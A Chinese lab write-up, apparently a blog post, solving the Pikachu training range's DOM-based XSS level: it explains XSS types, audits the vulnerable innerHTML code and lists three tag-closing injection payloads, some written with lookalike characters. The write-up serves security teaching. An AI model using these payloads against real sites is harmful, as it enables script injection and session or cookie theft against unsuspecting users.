当前位置: 首页 > news >正文

pikachu靶场通关笔记08 XSS关卡04-DOM型XSS

目录

一、XSS原理

二、DOM型XSS

三、源码分析

1、进入靶场

2、XSS探测

3、源码分析

四、渗透实战

1、Payload1

2、Payload2

3、Payload3


本系列为通过《pikachu靶场通关笔记》的XSS关卡(共10关)渗透集合,通过对XSS关卡源码的代码审计找到XSS风险的真实原因,讲解XSS原理并进行渗透实践,本文为XSS关卡 04-DOM 型XSS的渗透部分。

一、XSS原理

XSS(Cross - Site Scripting) 跨站脚本攻击是一种常见的Web安全风险,因其高危害性位列OWASP Top 10安全威胁。攻击者通过注入恶意脚本(通常为JavaScript)到网页中,脚本在其浏览器执行。XSS主要分为3种类别,具体如下表所示。

类型原理数据交互危害
反射型 XSS攻击者诱使用户点击含恶意脚本的链接,服务器将脚本反射回浏览器执行URL 参数传入恶意脚本,服务器原样返回泄露用户敏感信息,如登录凭证、个人资料等;篡改页面内容,误导用户操作
存储型 XSS恶意脚本被存储在服务器端,用户访问相关页面时执行恶意脚本提交到服务器并存储,用户访问页面时服务器返回含脚本内容影响范围广,所有访问该页面的用户都会受到攻击;可进行大规模的信息窃取、会话劫持
DOM 型 XSS攻击者通过构造恶意输入,利用页面 JS 修改 DOM 结构注入脚本,不涉及服务器处理在页面表单输入恶意脚本,页面 JS 处理输入时触发破坏页面的正常显示和功能;可能导致用户在不知情的情况下执行危险操作

二、DOM型XSS

DOM 型 XSS(Document Object Model Cross-Site Scripting)是一种基于浏览器文档对象模型(DOM)的跨站脚本攻击类型。与反射型和存储型 XSS 不同,DOM 型 XSS 攻击不依赖服务器端响应数据,而是利用网页中 JavaScript 对 DOM 的不当操作来实现。
攻击者通过精心构造 URL 或诱导用户输入恶意数据,使得网页中的 JavaScript 代码在处理数据并修改 DOM 结构时,将恶意脚本作为合法内容插入到页面中。当浏览器解析并执行这些恶意脚本时,就会触发攻击,如窃取用户 Cookie、劫持会话等。由于攻击发生在客户端浏览器,且不涉及服务器数据存储和直接响应,其检测和防御相对复杂,需要开发者对前端代码中的 DOM 操作进行严格的安全审查和输入验证 。

分类DOM型XSS
存储位置不经过服务器,恶意代码存在于URL片段(#后)或前端输入
触发方式前端JavaScript动态操作DOM时执行
攻击场景单页应用(SPA)、动态网页、依赖前端路由的Web应用
危害范围执行恶意脚本的用户
攻击特点绕过服务端检测(WAF无效),纯前端风险
防御措施安全的DOM操作(如textContent替代innerHTML)、前端输入验证、CSP策略
修复难度中(需全面检查前端代码)

三、源码分析

1、进入靶场

进入pikachu靶场XSS系列关系的04关-DOM型XSS页面,打开后发现是一个留言板,如下所示。

http://127.0.0.1/pikachu/vul/xss/xss_dom.php

2、XSS探测

输入关键字判断是否有过滤,关键字包括:单引号、双引号、左右尖括号、问号、&、字符串与数字,接下来我们在搜索框输入'"<>?&ljn20241019进行探测,如下所示。

​​​​​​​'"<>?&ljn20241019

测试 发现输入和输出有区别,

3、源码分析

查看DOM型XSS关卡源码xss_dom.php文件内容,右键源码,CTRL+F搜素关键词上图中出现的关键字what,发现一个js函数,利用了DOM将字符串进行了拼接并把值给a标签的href,然后输出

这段代码存在DOM型 XSS风险,具体的源码经过详细注释后如下所示。

<div id="xssd_main"><script>function domxss(){// 获取用户输入(未经过滤)var str = document.getElementById("text").value;// 直接拼接用户输入到HTML中(高危操作)document.getElementById("dom").innerHTML = "<a href='"+str+"'>what do you see?</a>";}// 攻击者可尝试的Payload示例:// 1. '><img src="#" onmouseover="alert('xss')">  → 闭合标签并插入恶意图片// 2. ' onclick="alert('xss')">                → 闭合标签并添加点击事件</script><!-- 用户输入框 --><input id="text" name="text" type="text" value="" /><!-- 触发DOM操作的按钮 --><input id="button" type="button" value="click me!" onclick="domxss()" /><!-- 动态内容插入区域(XSS触发点) --><div id="dom"></div>
</div>

分析可知本关卡通过 getElementById 获取到了标签 Id 为 text的内容赋值给str.然后又把 str 的内容通过字符串拼接的方式写到了 a 标签的 href 属性中,a标签会写到 Id 为 dom的 div 标签中。产生XSS风险的关键代码如下所示。

function domxss(){var str = document.getElementById("text").value; // 获取用户输入document.getElementById("dom").innerHTML = "<a href='"+str+"'>what do you see?</a>"; // 直接拼接HTML
}

XSS的根源在于不可信数据未经验证直接插入DOM,这个处理逻辑如下所示。

1)我们通过 <input id=“text” name=“text” type=“text” value="" / > 将字符串赋值给text然后JavaScript 
var str = document.getElementById(“text”).value; 获取到了text的值
2)然后document.getElementById(“dom”).innerHTML = “< a href=’”+str+"’>what do you see?< /a > ";
把这个text字符串整合到a这个标签中的href里再把a标签写入到dom这个标签中。
3)最后< div id=“dom” >< /div > 执行这个dom标签

XSS原理如下所示。

XSS类型DOM型XSS
触发条件用户输入直接拼接到innerHTML,未经过滤或编码
攻击方式通过闭合标签(如'>)注入恶意HTML/JS代码
危害窃取Cookie、钓鱼攻击、页面篡改

XSS成因与示例如下所示。

问题环节具体风险攻击示例
未过滤用户输入用户控制的str直接拼接到innerHTML输入'><img src="#" onmouseover="alert('xss')">
危险API使用innerHTML会解析HTML/JS代码(非安全文本插入)输入' onclick="alert('xss')"> 闭合标签并注入事件
缺乏输出编码未对用户输入的" ' < >等字符转义输入javascript:alert(1) 可构造恶意链

    四、渗透实战

    <a href='"+str+"'>what do you see?</a>

    1、Payload1

    payload1: #' οnclick=alert("ljn")>

    #' onclick=alert("ljn")>

    闭合后:<a href='#' οnclick="alert("ljn")">'>what do you see?</a>

    点击click me后,下方生成链接,点击链接后,弹框ljn

    分析:右键元素-点击查看器-Ctrl+F搜索关键字what

    2、Payload2

    payload3: ' οnclick="alert('ljn')">

    ' onclick="alert('ljn')">

    闭合后:<a href οnclick="alert('ljn')"> >'what do you see?</a>

    3、Payload3

    payload2: '><img src="#" οnmοuseοver="alert('ljn')">

     '><img src="#" onmouseover="alert('ljn')">

    闭合后:<a href><img src="#" οnmοuseοver="alert('haha')">'>what do you see?</a>

    相关文章:

  • pikachu靶场通关笔记07 XSS关卡03-存储型XSS
  • GitCode镜像门法律分析:PL协议在中国的司法实践
  • 告别RAG上下文丢失:Late Chunking 与 Contextual Retrieval 深度对比解析
  • 路由器、网关和光猫三种设备有啥区别?
  • 【图像处理基石】立体匹配的经典算法有哪些?
  • HTML实战项目:高考加油和中考加油
  • 《Map 到底适合用哪个?HashMap、TreeMap、LinkedHashMap 对比实战》
  • 笔记思考法
  • Spring AI 之对话记忆(Chat Memory)
  • OpenCV计算机视觉实战(9)——阈值化技术详解
  • vue3 + WebSocket + Node 搭建前后端分离项目 开箱即用
  • 电机控制选 STM32 还是 DSP?技术选型背后的现实博弈
  • 【深度学习】12. VIT与GPT 模型与语言生成:从 GPT-1 到 GPT4
  • Java集合操作常见错误与最佳实践
  • 尝鲜纯血鸿蒙,华为国际版本暂时不支持升级。如mateX6 国际版?为什么不支持?什么时候支持?
  • NISCO里境全新VALUE系列合肥首店启幕,携手正反设计打造0压生活空间
  • 【无标题】C++23新特性:支持打印volatile指针
  • SQL进阶之旅 Day 7:视图与存储过程入门
  • 宝塔面板部署python web项目详细教程
  • C语言进阶--字符串+内存函数
  • 襄阳购物网站开发设计/百度应用市场下载安装
  • 做网站需要的法律知识/今日新闻国内大事件
  • wordpress商城主题修改/西安seo技术培训班
  • 网站建设预付款比例/长沙建站工作室
  • 广东省优质高职院校建设网站/线上推广方式有哪些
  • 南京门户网站制作/域名注册服务网站哪个好